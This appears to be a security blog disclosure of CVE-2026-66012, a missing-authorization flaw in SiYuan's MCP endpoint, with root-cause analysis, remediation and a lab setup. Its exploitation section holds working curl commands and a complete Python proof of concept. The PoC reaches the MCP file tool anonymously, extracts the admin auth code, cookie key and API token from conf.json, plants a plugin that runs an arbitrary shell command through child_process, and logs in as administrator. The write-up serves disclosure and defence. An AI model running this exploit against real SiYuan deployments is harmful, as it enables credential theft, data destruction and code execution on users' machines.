HB Updated Jul 26, 2026

MCP as a Backdoor: CVE-2026-66012 — How a Missing Authorization Check in SiYuan's MCP Endpoint Turns Anonymous Readers into Administrators

On July 25, 2026, NIST’s National Vulnerability Database published CVE-2026-66012, a missing-authorization vulnerability in SiYuan — the privacy-first, block-level note-taking application with over 45,000 GitHub stars and a large Docker-hosted user base. NVD scores it 10.0 Critical under CVSS 3.1 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), the maximum possible score. The vulnerability, disclosed via GitHub Security Advisory GHSA-cvhv-7xhj-xjp8 on July 13, 2026, chains three independent defects in SiYuan’s kernel into an unauthenticated, network-reachable path to arbitrary workspace file read/write/delete, plaintext credential exfiltration, and remote code execution via plugin planting.

The attack surface at the heart of this vulnerability is one that the security community is only beginning to grapple with at scale: MCP (Model Context Protocol). When Anthropic open-sourced MCP in late 2024, the pitch was compelling — a standardized JSON-RPC protocol that lets LLM-powered tools interact with local applications, files, databases, and APIs. SiYuan integrated MCP as a way to let AI assistants read and manage notes. But the integration exposed 31 tools — including a file tool with read, write, delete, rename, and copy primitives across the entire workspace — behind nothing more than a generic authentication check. No role enforcement. No admin gate.

This is the kind of bug that is going to become increasingly common as applications rush to bolt MCP servers onto their existing HTTP APIs. The protocol is powerful, the tool surface is wide, and the authorization model is often an afterthought. CVE-2026-66012 is a textbook example of what happens when new functionality inherits an old, insufficient authorization layer.


Vulnerability Classification

Field Value
CVE ID CVE-2026-66012
GHSA GHSA-cvhv-7xhj-xjp8
CVSS 3.1 (NVD) 10.0 — Critical
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 4.0 (VulnCheck) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE CWE-862 — Missing Authorization
Affected Component POST /mcp endpoint (kernel MCP server + Publish reverse proxy)
Affected Versions SiYuan < v3.7.2 (all versions with MCP integration)
Patched Version v3.7.2 (released July 14, 2026)
CVE Published July 25, 2026 (GHSA published July 13, 2026)
Reporter Nguyen Van Hiep (@hypnguyen1209), MBBank

A note on the CVSS 4.0 vector from VulnCheck: it scores the maximum across every dimension — both the vulnerable system (SiYuan kernel) and the subsequent system (the desktop host via plugin RCE) see full Confidentiality, Integrity, and Availability impact. This is one of the rare CVEs where “10.0” is not a rounding artifact.


Background: SiYuan’s Architecture and the Publish Server

To understand why this vulnerability is so devastating, we need to map SiYuan’s internal architecture. SiYuan is built on a split model: a Go kernel that manages all data, serves an HTTP API, and runs the block-level database; and an Electron frontend (or a browser, when running headless via Docker) that communicates with the kernel exclusively over HTTP.

┌─────────────────────────────────────────────────────────┐
│                    SiYuan Kernel (Go)                    │
│                                                         │
│  ┌─────────────┐    ┌──────────────┐   ┌─────────────┐ │
│  │ Admin Port   │    │ Publish Port  │   │  Workspace  │ │
│  │   :6806      │    │    :6808      │   │  (data dir) │ │
│  │              │    │               │   │             │ │
│  │ /api/*       │    │ Reverse Proxy │   │ conf/       │ │
│  │ /mcp         │◄───┤ → :6806       │   │  conf.json  │ │
│  │ Admin role   │    │ + anon JWT    │   │ data/       │ │
│  │ required     │    │ injection     │   │  plugins/   │ │
│  └─────────────┘    └──────────────┘   │  notebooks/  │ │
│                                         └─────────────┘ │
└─────────────────────────────────────────────────────────┘

The kernel listens on two ports in a typical deployment:

  • Port 6806 (the “main” or admin port): Serves the full SiYuan API. Every endpoint here requires authentication via accessAuthCode and enforces role-based access control (Administrator, Editor, Reader).
  • Port 6808 (the “Publish” port): An optional reverse proxy that serves published content for public-facing documentation sites. When Publish.Auth.Enable=false (the “anonymous” mode), any visitor can browse published notes without credentials.

The critical architectural detail is this: the Publish server is not a standalone content server. It is a reverse proxy that forwards requests to the kernel on port 6806. When a request arrives at the Publish port in anonymous mode, the proxy at kernel/server/proxy/publish.go intercepts it and injects an anonymous JWT — a RoleReader-scoped token — into the X-Auth-Token header before forwarding it upstream.

This design is the load-bearing wall. The Publish proxy’s intent is to give anonymous visitors read-only access to published content. But the kernel’s /mcp route does not enforce role checks beyond “is this a valid JWT?” So the reader-scoped token injected by the Publish proxy sails right through.

SiYuan’s Role Model

The kernel defines three roles in kernel/model/auth.go:

Role Permissions
Administrator Full API access: config mutation, SQL write, import/export, plugin management, MCP tools
Editor Content CRUD, notebook management, no admin operations
Reader Read-only access to published content

The CheckAuth middleware validates that the request carries a valid JWT. The CheckAdminRole middleware additionally verifies the caller is an Administrator. The CheckReadonly middleware blocks write operations for Reader-scoped tokens. In v3.7.1, the /mcp route had CheckAuth but neither of the other two.


The Model Context Protocol Integration

MCP (Model Context Protocol) is a JSON-RPC 2.0 protocol introduced by Anthropic in November 2024. It standardizes how LLM-powered clients (Claude Desktop, IDE plugins, custom agents) discover and invoke tools exposed by a server. The protocol has three phases:

  1. Handshake — The client sends an initialize request with its protocol version and capabilities. The server responds and assigns a session ID.
  2. Tool discovery — The client calls tools/list to enumerate available tools and their input schemas.
  3. Tool invocation — The client calls tools/call with a tool name and arguments.

SiYuan registered its MCP server at POST /mcp in kernel/mcp/server.go. The registration was a single line of Go:

ginServer.POST("/mcp", model.CheckAuth, handlePost)

The 31 tools exposed via this endpoint included:

Tool Actions Scope
file list, read, write, delete, rename, copy Entire workspace directory tree
sql SELECT queries Block database (SQLite)
notebook Create, open, close, rename Notebook lifecycle
template Create, render, delete Template management
skill install(url) Download and install external skills
plugin frontend.action dispatch Trigger frontend plugin code
…and 25 more Various Various subsystems

The file tool is where the damage concentrates. Its handler in kernel/mcp/tools/file.go maps directly to os.ReadFile, os.WriteFile, os.Remove, and os.Rename. The path resolution function resolvePath correctly prevents directory traversal outside the workspace via gulu.File.IsSubPath(util.WorkspaceDir, abs) — but every path inside the workspace is fully readable, writable, and deletable.

That includes conf/conf.json, the kernel’s plaintext configuration file.


The Root Cause: Three Defects, One Chain

The GHSA advisory meticulously traces three independent defects that compose into the unauthenticated attack chain. Each is a separate code issue, but together they form a kill chain.

Defect 1: Missing Role Enforcement on /mcp

File: kernel/mcp/server.go:29

// VULNERABLE (v3.7.1)
ginServer.POST("/mcp", model.CheckAuth, handlePost)

The route is gated by model.CheckAuth, which only verifies that the JWT is valid. There is no model.CheckAdminRole and no model.CheckReadonly. This means any JWT that passes the basic authentication check — including a RoleReader token — can reach the MCP handler and invoke all 31 tools.

Compare this with how other admin-scoped endpoints are registered:

// Admin endpoints enforce role:
ginServer.POST("/api/setting/setConf", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, ...)
ginServer.POST("/api/system/setAPIToken", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, ...)

The MCP route was added without inheriting the middleware chain that every other admin-equivalent endpoint uses. The tool descriptions carry advisory text like “Read-only SQL on SiYuan’s database” and “debugging/log reading only, never use for workspace data”, but nothing in code enforces those claims.

Defect 2: No Role Check in the Tool Dispatcher

File: kernel/mcp/handler.go:60-195

When a tools/call JSON-RPC method arrives, the handler dispatches it directly to the target tool’s handler function:

case "tools/call":
    return handleToolsCall(params)
// ...
t.Handler(toolArgs)

The dispatcher does not inspect the caller’s role. It does not check whether the tool being invoked is read-only. It does not enforce any per-tool authorization. Any tool is callable by any authenticated principal — including a Reader.

Defect 3: The Publish Proxy Injects Anonymous JWTs

File: kernel/server/proxy/publish.go:229

When Publish.Auth.Enable=false (anonymous mode), the Publish reverse proxy unconditionally attaches an anonymous JWT to every forwarded request:

// VULNERABLE (v3.7.1)
request.Header.Set(model.XAuthTokenKey, model.GetBasicAuthAccount("").Token)
response, err = publishRoundTripper.RoundTrip(request)

The anonymous account is bootstrapped in kernel/model/auth.go:91 as a RoleReader:

accountsMap = AccountsMap{"": &Account{}, ...}

InitPublishJWT at line 105 issues a RoleReader-scoped JWT for every account in the map, including the empty-string anonymous one. That JWT is what the reverse proxy hands to /mcp when an unauthenticated visitor sends a request to the Publish port.

This is the link that converts the missing-authorization bug (Defect 1) into an unauthenticated vulnerability. Without the Publish proxy, an attacker would still need a valid Reader account. With it, no credentials are needed at all.

The Composition

Defect 3: Publish proxy injects anonymous RoleReader JWT
           ↓
Defect 1: /mcp route accepts any valid JWT (no role check)
           ↓
Defect 2: Tool dispatcher calls any tool without role check
           ↓
    file tool: read/write/delete anywhere in workspace

Attack Flow: From Anonymous Visitor to Administrator Takeover


The Attack Chain: Step by Step

Now let’s walk through the full exploitation path. Every request targets the Publish port (:6808) and sends no authentication headers.

Step 1: MCP Handshake

The attacker completes the standard MCP initialization handshake. The server assigns a session ID that must be included in subsequent requests:

$ curl -sS -D /tmp/mcp-hdr -o /dev/null -X POST "http://TARGET:6808/mcp" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"pwn","version":"1"}}}'

$ SESSION=$(grep -i '^Mcp-Session-Id:' /tmp/mcp-hdr | awk '{print $2}' | tr -d '\r')

$ curl -sS -X POST "http://TARGET:6808/mcp" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H "Mcp-Session-Id: $SESSION" \
  -d '{"jsonrpc":"2.0","method":"notifications/initialized"}'

The response is HTTP/1.1 200 OK with a Mcp-Session-Id header. The handshake succeeds because the Publish proxy has already injected the anonymous JWT — the kernel sees a valid authentication token and processes the request normally.

Step 2: Exfiltrate Credentials from conf/conf.json

The conf/conf.json file lives at WorkspaceDir/conf/conf.json and stores the kernel’s configuration in plaintext JSON. It contains three secrets that unlock the admin port:

  • accessAuthCode — The admin password. Presenting it at /api/system/loginAuth returns a full Administrator session token.
  • api.token — A static bearer token accepted at every admin API endpoint. No login required.
  • cookieKey — The HMAC key used to sign session cookies. With it, an attacker can forge arbitrary session cookies.
$ curl -sS -X POST "http://TARGET:6808/mcp" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H "Mcp-Session-Id: $SESSION" \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"file","arguments":{"action":"read","path":"conf/conf.json","limit":-1}}}'

The response’s .result.content[0].text field contains the full configuration file. The limit:-1 parameter bypasses the default 200-line truncation, returning every byte.

Step 3: Plant a Malicious Plugin for RCE

With the file tool’s write action, the attacker creates a plugin under data/plugins/. SiYuan loads plugins on desktop startup by calling window.eval on each plugin’s index.js inside a BrowserWindow with dangerously permissive Electron settings:

// app/electron/main.js — webPreferences for plugin windows
webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    webSecurity: false,
    sandbox: false
}

These settings mean a planted plugin’s JavaScript executes with full Node.js APIs available, including require("child_process"). The attacker writes two files:

plugin.json (manifest required by the plugin loader):

$ curl -sS -X POST "http://TARGET:6808/mcp" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H "Mcp-Session-Id: $SESSION" \
  -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"file","arguments":{"action":"write","path":"data/plugins/pwn/plugin.json","data":"{\"name\":\"pwn\",\"version\":\"1.0.0\",\"author\":\"a\",\"url\":\"n\",\"i18n\":[\"en_US\"],\"displayName\":{\"en_US\":\"pwn\"},\"description\":{\"en_US\":\"pwn\"},\"readme\":{\"en_US\":\"README.md\"}}"}}}'

index.js (payload executed on next desktop launch):

$ curl -sS -X POST "http://TARGET:6808/mcp" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H "Mcp-Session-Id: $SESSION" \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"file","arguments":{"action":"write","path":"data/plugins/pwn/index.js","data":"module.exports={onload:function(){require(\"child_process\").exec(\"touch /tmp/siyuan-pwned\");}}"}}}'

On the next desktop launch, the plugin loader at app/src/plugin/loader.ts:27-52 calls window.eval on this index.js, and the child_process.exec call runs with the desktop user’s operating system privileges.

Step 4: Escalate to Administrator on Port 6806

Using the accessAuthCode stolen in Step 2, the attacker authenticates to the admin port directly:

$ curl -sS -X POST "http://TARGET:6806/api/system/loginAuth" \
  -H 'Content-Type: application/json' \
  -d '{"authCode":"<STOLEN_ACCESSAUTHCODE>"}'

{"code":0,"msg":"","data":{"token":"lqfhx..."}}

The returned token grants full Administrator access. Alternatively, the attacker can use the stolen api.token directly as a bearer token on any admin API endpoint — no login ceremony required.


Proof of Concept

https://github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

The PoC is a Python script that automates the full attack chain. Below is the core exploit logic:

#!/usr/bin/env python3
"""CVE-2026-66012: Unauth reach of SiYuan MCP file tool via Publish anon mode."""
import json, re, sys
import requests

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:6808"

def mcp(session_id, rpc_id, method, params=None):
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if session_id:
        headers["Mcp-Session-Id"] = session_id
    body = {"jsonrpc": "2.0", "method": method}
    if rpc_id is not None:
        body["id"] = rpc_id
    if params is not None:
        body["params"] = params
    return requests.post(f"{TARGET}/mcp", json=body, headers=headers)

def tool(session_id, rpc_id, name, args):
    return mcp(session_id, rpc_id, "tools/call", {"name": name, "arguments": args})

# 1 — MCP handshake
r = mcp(None, 1, "initialize", {
    "protocolVersion": "2025-06-18",
    "capabilities": {},
    "clientInfo": {"name": "pwn", "version": "1"},
})
sid = r.headers["Mcp-Session-Id"]
print(f"[*] Session: {sid}")
mcp(sid, None, "notifications/initialized")

# 2 — Exfiltrate kernel credentials from conf/conf.json
r = tool(sid, 2, "file", {"action": "read", "path": "conf/conf.json", "limit": -1})
text = r.json()["result"]["content"][0]["text"]

creds = {}
for label, pat in [
    ("accessAuthCode", r'"accessAuthCode"\s*:\s*"([^"]*)"'),
    ("cookieKey",      r'"cookieKey"\s*:\s*"([^"]*)"'),
    ("api_token",      r'"api"[\s\S]{0,80}?"token"\s*:\s*"([^"]*)"'),
]:
    m = re.search(pat, text)
    creds[label] = m.group(1) if m else None
print(f"[*] Stolen credentials:\n{json.dumps(creds, indent=2)}")

# 3 — Plant plugin for RCE on next desktop launch
tool(sid, 3, "file", {
    "action": "write",
    "path": "data/plugins/pwn/plugin.json",
    "data": json.dumps({
        "name": "pwn", "version": "1.0.0", "author": "a", "url": "n",
        "i18n": ["en_US"],
        "displayName": {"en_US": "pwn"},
        "description": {"en_US": "pwn"},
        "readme": {"en_US": "README.md"},
    }),
})

PAYLOAD = sys.argv[2] if len(sys.argv) > 2 else "id"
tool(sid, 4, "file", {
    "action": "write",
    "path": "data/plugins/pwn/index.js",
    "data": f'module.exports={{onload:function(){{require("child_process").exec("{PAYLOAD}");}}}}',
})
print(f"[+] Plugin planted — executes on next desktop launch: {PAYLOAD}")

# 4 — Escalate to admin using stolen accessAuthCode
if creds["accessAuthCode"]:
    admin_port = TARGET.replace("6808", "6806")
    admin = requests.post(
        f"{admin_port}/api/system/loginAuth",
        json={"authCode": creds["accessAuthCode"]},
    )
    print(f"[+] Admin login on {admin_port}: {admin.status_code} {admin.json()}")

Running the PoC

Prerequisites: Docker 20.10+ and Python 3 with requests installed.

Lab setup (on a local machine — never test against a production instance):

$ LAB_ROOT=/tmp/siyuan-lab
$ rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
$ chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
$ LAB_AUTHCODE='labpass-9f4c1a'

$ docker rm -f siyuan-lab 2>/dev/null
$ docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=$LAB_AUTHCODE" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode="$LAB_AUTHCODE" --lang=en_US

$ sleep 6
$ curl -sS http://127.0.0.1:6806/api/system/currentTime
{"code":0,"msg":"","data":"1784937600000"}

Enable the Publish server in anonymous mode:

$ API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

$ curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

Run the exploit:

$ python3 exploit.py http://127.0.0.1:6808 "touch /tmp/siyuan-pwned"

[*] Session: 1atnx3vlzoccx89n
[*] Stolen credentials:
{
  "accessAuthCode": "labpass-9f4c1a",
  "cookieKey": "zhia862a5vfvraau",
  "api_token": "nsnt2m0n4lwv2a43"
}
[+] Plugin planted — executes on next desktop launch: touch /tmp/siyuan-pwned
[+] Admin login on http://127.0.0.1:6806: 200 {'code': 0, 'msg': '', 'data': {'token': 'lqfhx...'}}

Verify the planted plugin on the host mount:

$ ls -la /tmp/siyuan-lab/workspace/data/plugins/pwn/
-rw-r--r-- 1 lab lab  89 Jul 25 06:58 index.js
-rw-r--r-- 1 lab lab 173 Jul 25 06:58 plugin.json

When the workspace is next opened in the SiYuan desktop app, the plugin’s onload fires and touch /tmp/siyuan-pwned executes with the user’s OS privileges.

Attention! The PoC targets a lab instance only. Running it against a production SiYuan deployment without explicit authorization is illegal. The accessAuthCode exfiltration and plugin planting steps are destructive to workspace integrity.


Impact Analysis

The impact chain crosses two trust boundaries:

Boundary From To Impact
Network → Workspace Unauthenticated network attacker SiYuan kernel workspace Full read of all notebooks, config, and secrets; arbitrary file write/delete
Workspace → Desktop Host Planted plugin in data/plugins/ Electron desktop process OS-level RCE via child_process with the user’s privileges

Concretely, an unauthenticated attacker can:

  • Read every note in every notebook via the file tool or SQL queries against the block database.
  • Exfiltrate credentials (accessAuthCode, api.token, cookieKey) from conf/conf.json, escalating to the Administrator role on the admin port.
  • Write arbitrary files anywhere in the workspace, including planting a plugin that executes native code on the next desktop launch.
  • Delete any file in the workspace via the file tool’s delete action, destroying user data and version history irrecoverably.
  • Install external skills via the skill.install(url) tool, downloading and executing arbitrary code from attacker-controlled URLs.

Even when the Publish server is configured with a reader password (Publish.Auth.Enable=true), the same primitives are available to any user holding a legitimate Reader account — converting an intended low-privilege viewer into a full Administrator.

The advisory notes that this vulnerability is class-identical to seven prior GHSAs against SiYuan’s Publish subsystem (GHSA-jqwg-75qf-vmf9, GHSA-f9cq-v43p-v523, GHSA-fmh9-gpqh-g53g, GHSA-6r88-8v7q-q4p2, GHSA-gmmv-4cc5-wr9r, GHSA-px3c-cf92-9g83, GHSA-7m5h-w69j-qggg), all of which involved Publish Reader escalation via a missing admin gate on sensitive endpoints. The MCP integration simply added a new — and far more powerful — surface to the same recurring pattern.


Remediation

SiYuan released v3.7.2 on July 14, 2026, fixing the vulnerability in commit df51c2bda696. The fix applies defense in depth at three layers:

Fix 1: Admin Role Enforcement on the MCP Route

File: kernel/mcp/server.go

// FIXED (v3.7.2)
ginServer.POST("/mcp", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, handlePost)

The route now requires both CheckAdminRole (caller must be Administrator) and CheckReadonly (write operations blocked for non-admin contexts). A RoleReader JWT — anonymous or not — is rejected at the middleware layer before reaching the handler.

Fix 2: Explicit Block on conf/conf.json

File: kernel/mcp/tools/file.go

// FIXED (v3.7.2) — inside resolvePath()
confPath := filepath.Join(util.ConfDir, "conf.json")
if abs == confPath {
    return "", fmt.Errorf("access to conf.json is forbidden")
}

Even with the admin gate, the file tool now explicitly refuses to resolve conf/conf.json, aligning with the HTTP file API’s existing blocklist (refuseToAccess in kernel/api/file.go). This is a belt-and-suspenders measure: if the admin gate is ever bypassed, the credential file remains unreachable.

Fix 3: Publish Proxy Path Allowlisting

File: kernel/server/proxy/publish.go

The fix adds an isPublishAdminPath() function that returns 401 Unauthorized for admin-scoped paths when the Publish server is in anonymous mode. The blocked path prefixes include:

/mcp, /api/setting/, /api/system/, /api/import/, /api/export/,
/api/archive/, /api/query/, /api/sqlite/, /api/bazaar/,
/api/plugin/, /api/petal/, /api/repo/, /api/sync/, /api/history/,
/api/ai/, /api/account/, /api/cloud/, /api/transactions,
/webdav, /caldav, /carddav, /debug/pprof/, /plugin/private/

Plus specific write/sensitive endpoints under /api/file/* (putFile, copyFile, removeFile, renameFile, etc.). Public read endpoints needed for rendering published content (getFile, getDoc, /assets/, /appearance/, /stage/) are explicitly allowed.

This means the anonymous JWT is no longer forwarded to any admin-scoped path, closing the composition at the proxy layer.

Upgrade Guidance

Action Details
Upgrade SiYuan Update to v3.7.2 or later (current stable: v3.7.3, released July 21, 2026). Docker: docker pull b3log/siyuan:v3.7.3
Disable anonymous Publish If you cannot upgrade immediately, set Publish.Auth.Enable=true and require a password. This does not fix the MCP admin gate, but it removes the unauthenticated vector.
Rotate credentials If you ran v3.7.1 with Publish enabled in anonymous mode, rotate your accessAuthCode immediately. The advisory demonstrates that all three secrets in conf/conf.json are trivially exfiltrated.
Audit plugins Check data/plugins/ for unexpected directories. A planted plugin persists across upgrades.

Caveat: If your Publish server was exposed to the internet in anonymous mode on v3.7.1, assume compromise. The attack is silent — no crash, no error log, just HTTP 200 responses. Rotate all credentials and audit the workspace for modified or planted files.


The Bigger Picture: MCP as a New Attack Surface

CVE-2026-66012 is not just a SiYuan bug. It is an early warning about a class of vulnerabilities that will proliferate as the MCP ecosystem grows.

MCP’s value proposition — standardized tool discovery and invocation — is also its security risk. Every MCP server exposes a tool registry that describes capabilities in structured JSON. An attacker who can reach the tools/list endpoint gets a self-documenting inventory of attack surface. And unlike REST APIs, where each endpoint typically has its own authorization logic, MCP tools are often dispatched through a single handler that applies uniform — and uniformly insufficient — authorization.

In our previous article on LLaMA-Factory’s WebUI RCE via hardcoded trust_remote_code, we saw how the rush to integrate AI capabilities created a critical vulnerability. CVE-2026-66012 is the same story with a different protagonist: the MCP integration was added to SiYuan’s existing HTTP server, inherited its generic auth middleware, and exposed administrative-grade file operations to any authenticated principal — including anonymous readers.

The lesson for developers integrating MCP into their applications:

  1. Treat every MCP tool as an admin endpoint. If your tool can read files, execute SQL, or install code, it needs the same authorization gates as your most privileged API route.
  2. Never let a reverse proxy inject authentication tokens for MCP paths. The Publish proxy pattern — injecting a reader JWT for all requests — is fundamentally incompatible with an MCP server that exposes write primitives.
  3. Audit tool descriptions against actual capabilities. SiYuan’s MCP tools carried advisory text like “debugging only” and “read-only,” but the code enforced nothing. Descriptions are documentation, not access control.

SOURCES

NIST National Vulnerability Database — CVE-2026-66012: https://nvd.nist.gov/vuln/detail/CVE-2026-66012
GitHub Security Advisory GHSA-cvhv-7xhj-xjp8: https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cvhv-7xhj-xjp8
Fix Commit (df51c2bda696): https://github.com/siyuan-note/siyuan/commit/df51c2bda696
VulnCheck Advisory: https://www.vulncheck.com/advisories/siyuan-before-unauthenticated-administrator-takeover-via-mcp
SiYuan v3.7.2 Release: https://github.com/siyuan-note/siyuan/releases/tag/v3.7.2
SiYuan Official Website: https://b3log.org/siyuan/en/
Model Context Protocol Specification: https://modelcontextprotocol.io/
CWE-862 — Missing Authorization (MITRE): https://cwe.mitre.org/data/definitions/862.html